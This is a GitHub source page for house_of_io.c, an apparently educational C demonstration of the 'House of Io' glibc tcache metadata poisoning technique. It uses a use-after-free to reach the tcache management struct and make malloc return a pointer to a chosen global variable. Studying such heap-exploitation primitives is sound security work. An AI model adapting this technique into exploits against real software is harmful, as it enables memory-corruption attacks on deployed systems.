-
Notifications
You must be signed in to change notification settings - Fork 1.3k
Expand file tree
/
Copy pathhouse_of_io.c
More file actions
104 lines (88 loc) · 4.03 KB
/
house_of_io.c
File metadata and controls
104 lines (88 loc) · 4.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include <assert.h>
#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
// House of Io - Use after free Variant
// ====================================
//
// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
//
// Tested on libc versions 2.31, 2.32 and 2.33.
//
// House of Io makes use of the fact, that when freeing a chunk into the tcache
// the chunk will receive a pointer to the tcache management struct which has
// been allocated beforehand. This pointer is the tcache->key entry of a free'd
// tcache chunk. There are three different versions of this attack and all work
// even with safe-link enabled, as the tcache-key pointer, and more importantly
// the pointers in the tcache_perthread_struct, are not protected.
//
// House of Io only works in libc versions 2.29 - 2.33, because in these
// versions the key of a tcache entry is the pointer to the tcache management
// struct. This can allow an attacker to carry out a tcache_metadata_poisoning
// attack.
//
// However the exploit primitives are very constrained as stated in the source.
// Negative overflows are very rare and so is the needed order of specific frees
// for the double free variant. This use after free is a bit more realistic.
unsigned long global_var = 1;
struct overlay {
uint64_t *next;
uint64_t *key;
};
struct tcache_perthread_struct {
uint16_t counts[64];
uint64_t entries[64];
};
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
"gets a pointer to the tcache management struct inserted at the\n"
"second slot.\n");
puts(
"This variant is the use-after-free variant and can be used, if the\n"
"free'd struct has a pointer at offset +0x08, which can be read from\n"
"and written to. This pointer will be the tcache->key entry of the\n"
"free'd chunk, which contains a pointer to the tcache management\n"
"struct. If we use that pointer we can manipulate the tcache management\n"
"struct into returning an arbitrary pointer.\n");
printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
"us from malloc.\n\n",
&global_var);
puts("First we have to allocate a struct, that has a pointer at offset\n"
"+0x08.\n");
struct overlay *ptr = malloc(sizeof(struct overlay));
ptr->next = malloc(0x10);
ptr->key = malloc(0x10);
puts("Then we immedietly free that struct to get a pointer to the tcache\n"
"management struct.\n");
free(ptr);
printf("The tcache struct is located at %p.\n\n", ptr->key);
struct tcache_perthread_struct *management_struct =
(struct tcache_perthread_struct *)ptr->key;
puts(
"Now that we have a pointer to the management struct we can manipulate\n"
"its values. First we potentially have to increase the counter of the\n"
"first bin by to a number higher than zero, to make the tcache think we\n"
"free'd at least one chunk. In our case this is not necesarry because\n"
"the `overlay` struct fits in the first bin and we have free'd that\n"
"already. The firest member of the tcache_perthread_struct is the array\n"
"of counters. So by overwriting the first element of our pointer we set\n"
"the correct value in the array.\n");
management_struct->counts[0] = 1;
printf("Before we overwrite the pointer in the tcache bin, the bin contains\n"
"[ %p ]. This is the same as the free'd overlay struct which we\n"
"created at the start [ %p == %p ].\n\n",
management_struct->entries[0], management_struct->entries[0], ptr);
management_struct->entries[0] = (uint64_t)&global_var;
printf(
"After the write we have placed a pointer to the global variable into\n"
"the tcache [ %p ].\n\n",
management_struct->entries[0]);
puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
"to our target location.\n");
uint64_t *evil_chunk = malloc(0x10);
assert(evil_chunk == &global_var);
return 0;
}